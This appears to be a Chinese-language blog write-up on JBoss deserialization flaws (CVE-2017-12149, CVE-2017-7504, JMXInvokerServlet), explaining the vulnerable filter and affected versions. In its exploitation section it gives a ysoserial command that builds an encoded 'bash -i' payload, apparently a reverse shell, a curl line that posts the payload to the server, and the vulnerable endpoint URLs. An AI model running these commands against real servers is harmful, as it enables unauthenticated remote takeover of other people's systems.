前言
Jboss 是一个基于 J2EE 的开放源代码的应用服务器。 JBoss 代码遵循 LGPL 许可,可以在任何商业应用中免费使用。JBoss 是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。
CVE-2017-12149
安全预警如下
漏洞描述
近期,互联网爆出 JBOSSApplication Server 反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大。漏洞危害程度为高危(High)。
影响范围
漏洞影响 5.x 和 6.x 版本的 JBOSSAS。目前评估潜在受影响主机数量超过 5000 台
漏洞原理
JBOSS Application Server 是一个基于 J2EE 的开放源代码的应用服务器。 JBoss 代码遵循 LGPL 许可,可以在任何商业应用中免费使用,2006 年,JBoss 被 Redhat 公司收购。
2017 年 8 月 30 日,厂商 Redhat 发布了一个 JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中,其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现 JBOSSAS 6.x 也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
原理
漏洞原理很简单,在访问 http://ip:port/invoker/readonly 的时候,jboss 会对 POST 数据进行反序列化,具体位置在jboss-6.1.0.Final\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet\ReadOnlyAccessFilter.class
在InvokerTransformer#transform()
打上断,发一个 payload 成功命中。堆栈如下
利用
有 cc3.2,可以使用 cc5 的 gadgetjava -jar ysoserial.jar CommonsCollections5 "bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}" > poc.ser
curl http://ip:8080/invoker/readonly --data-binary @poc.ser
CVE-2017-7504
JBoss AS 4.x 及之前版本中,JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的 HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响范围:JBoss AS 4.x 及之前版本。
类似 12149,只是触发位置在http://ip:8080/jbossmq-httpil/HTTPServerILServlet
,不多逼逼了
JMXInvokerServlet-deserialization
http://ip:8080/invoker/JMXInvokerServlet
,一样